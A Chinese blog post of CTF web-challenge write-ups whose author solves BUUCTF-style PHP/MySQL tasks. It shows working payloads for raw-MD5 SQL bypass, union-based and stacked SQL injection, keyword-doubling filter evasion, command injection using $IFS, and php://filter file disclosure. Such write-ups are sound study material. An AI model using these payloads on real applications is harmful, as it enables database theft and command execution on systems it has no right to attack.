分类 CTF挨打集 下的文章

[BJDCTF2020]Easy MD5

这题打开啥都没发现,随便提交点东西,在head里面看到select * from 'admin' where password=md5($pass,true)

md5(string,raw)

1.string 必需。规定要计算的字符串。

2.raw 可选。规定十六进制或二进制输出格式:

TRUE - 原始 16 字符二进制格式

FALSE - 默认。32 字符十六进制数

没接触过这东西,想不通这里要怎么绕过,果断看wp

https://imagin.vip/?p=166#Easy_md5

他这里是传入一个字符串,这个字符串被md5处理成十六进制格式后跟password进行比较,因为mysql会把hex格式当成ascii格式,那我们要构造一个被处理后字符串里面含有' or '1的字符串,这里的答案是ffifdyop,他被md5加密过之后变成276f722736c95d99e921722cf9ed621c,而这个被当成16进制进行解码的话会变成'or'6�]��!r,��b,这里6xxxxx,其布尔值为1,换成别的以数字开头的字符串都行

进去之后查看源代码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){

这个就比较经典了,字符串不同,加密后的md5弱类型比较相同,网上一找找一堆,我 这用了byGcY,sonZ7y,或者用数组绕过也行,进去看到

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

变成全等于那就只能用数组解决了,数组的md5哈希为NULL,param1[]=1¶m2[]=2,嗯,这回post又没反应了,用老办法加点料之后成功上传参数拿到flag

[极客大挑战 2019]BuyFlag

在pay那页的源代码里面看到了这段玩意

<!--
    ~~~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}
-->

看来我们需要传两个变量,一个是password值为404,money应该就是100000000,这里要求password既等于404又不为数字,利用php弱等于的性质就能解决,另外他要求用户是CUIT,我一开始傻乎乎的直接把user参数改成了这个,后来才发现只要改成1就行。当我想把password和money参数传进去的时候问题出现了,不管我怎么试,对面好像只接收到了本来就存在的user参数,对我后来传进去的几个参数置之不理.....找了一下解决方法,我的办法是吧数据包的GET改成POST,在repeter里面可以对数据包进行各种修改,另外我又加了一行Content-Type: application/x-www-form-urlencoded,再次传参的时候就成功了,这时提醒我Nember lenth is too long,看来对方在money这个参数上面进行了长度的限制,这里有两种办法,一种是科学计数法1e9,另外一种是利用strcmp函数特性把money后面加一个[]进行绕过,两种方法皆可

strcmp当对象是一个数组或者object的时候,因为无法比较,会直接返回0(相等),即可绕过

avatar

嗯,这题对我的难点在于怎么让对方理我的POST参数...

[ACTF2020 新生赛]Include

点进去看到一个tips,点一下到了一个http://2d93c2fb-e3f6-48a6-a2fc-11a802bb5738.node3.buuoj.cn/?file=flag.php,他让我找flag在哪,用?file=php://filter/convert.base64-encode/resource=flag.php读出网页源代码,是一串base64加密过的字符串,解密得到flag

[极客大挑战 2019]Secret File

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html

用bp抓包看到secr3t.php这个文件,他说flag在flag.php里面,但是访问过后发现没有,考虑是不是也放在了源代码里面,和上面一样用http://5aaa80b0-8027-4e59-9b4b-3edce674d666.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php读出源码,得到一段base64加密的字符串,解密得到flag

[GXYCTF2019]Ping Ping Ping
过滤了空格

?ip=127.0.0.1||ls$IFS$1-a

看到这个目录下面有个flag.php

直接读取发现flag被过滤了,用*发现*被过滤了,尝试使用字符串拼接的方式,但是依旧不行.....后来发现其实已经读出来了,在源代码里面,是我傻了

?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php

这里看别的wp学到了一招?ip=127.0.0.1||cat$IFS$9ls,这样可以把ls出来的所有文件都读出来

[强网杯 2019]随便注
乱试试出来闭合是',用or 1=1好像没有,试了下可以用堆叠注入,select等语句被过滤,用show databases;查出一堆表名
avatar

show tables;(好臭的表)

avatar

1';desc 1919810931114514;查出有flag这个列

看到另外一张表words的结构为

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

盲猜这个words表,就是我们看到的这个界面的表

思路是吧flag的名字改成words,并把flag列也改成id,再用or 1=1 爆出,但是不知道为什么我试的时候一直报错,用网上的payload也一样,很迷

[SUCTF 2019]EasySQL

对堆叠注入有反应1;show databases;获取库ctf,在show tables获取表flag,但是他把flag给过滤掉了,没法直接select 读出,直接打没被拦截但是也同样什么信息都没有得到

然后就卡住了

看了下wp,fuzz跑出来没有过滤|,这个运算我没有直接查到是什么意思,但是在mysql里面试了下,发现跟别的,例如1|id,这样是可行的(但是对数值可能有影响),但是不能够使用*|id

MariaDB [db1]> desc class;
FieldTypeNullKeyDefaultExtra
cnoint(10)YES NULL
cnamevarchar(20)YES NULL

2 rows in set (0.00 sec)

MariaDB [db1]>

MariaDB [db1]> select * from class;
cnocname
71信息论
75离散数学
79JAVA
81C++
84数论

5 rows in set (0.00 sec)

MariaDB [db1]> select 1 from class;
1
1
1
1
1
1

5 rows in set (0.00 sec)

MariaDB [db1]> select 1cno from class;
1cno
71
75
79
81
85

5 rows in set (0.00 sec)

MariaDB [db1]> show columns from class;
FieldTypeNullKeyDefaultExtra
cnoint(10)YES NULL
cnamevarchar(20)YES NULL

2 rows in set (0.00 sec)

MariaDB [db1]> select *| from class;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '| from class' at line 1

MariaDB [db1]> select cnamecno from class;
cnamecno
71
75
79
81
84

5 rows in set, 5 warnings (0.00 sec)

MariaDB [db1]> select 1cname from class;
1cname
1
1
1
1
1

5 rows in set, 5 warnings (0.00 sec)

然后这人就猜测语句可能是sql = "select $_POST['query'] | col_xx from tab"

然后直接输入*,1就出来了...

[极客大挑战 2019]LoveSQL
?username=1%27or%201=1--+;&password=1万能密码进入,得到了
Hello admin!

Your password is '81c030327a85b46a0487d3b25ea43239'

试了下这个并不是flag(哪有那么简单),看了下bp也没有抓到什么东西,那就继续老老实实的注入

用order by测出一共有三个列,估计可能就放在第三个没有显示出来的那一列

select username,password from table where username='',password='';
select username,password from table where username=''--+;',password='';

?username=-1%27%20union%20select%201,2,database()--+;&password=1显示这个表显示出的是二三列,且库名geek

?username=-1%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27geek%27--+;&password=1
得到表名geekuser

?username=-1%27%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=%27geek%27%20and%20table_name=%27geekuser%27%20limit%202,1--+;&password=1
获取列名id,username,password

感觉不对劲,返回表名那一步,limit1,1获取另外一个表l0ve1ysq1,列名也是id,username,password

?username=-1%27%20union%20select%201,username,password%20from%20l0ve1ysq1%20limit%2010,1--+;&password=1然后后面就一个个看,里面一堆乱七八糟的玩意,扔bp里面爆破了,第十五行里面就是我们要的flag

[极客大挑战2019]babysql
一些关键词被过滤了,但是其实只要复写就能绕过

?username=1%27+oorrder+bbyy+3%3B--+测出有3列

?username=1%27+ununionion+seselectlect+1%2C2,database()%3B--+爆出库名geek

?username=1%27+ununionion+seselectlect+1%2C2,table_name+frfromom+infoorrmation_schema.tables+whwhereere+table_schema='geek'%3B--+这里是我糊涂了,我以为他屏蔽了information_schema,试了几次不行,后来才想起来屏蔽的是or....另外还有from也被过滤了但没在意

b4bsql,geekuser这里面有这两个表,我猜那玩意在b4bsql里面,然后有id,username,password三列

?username=1%27+ununionion+seselectlect+1%2Cusername,passwoorrd+frfromom+geek.b4bsql+limit+0,1%3B--+爆内容,果不其然又是奇奇怪怪的一堆,扔bp猜到第八个的时候出来了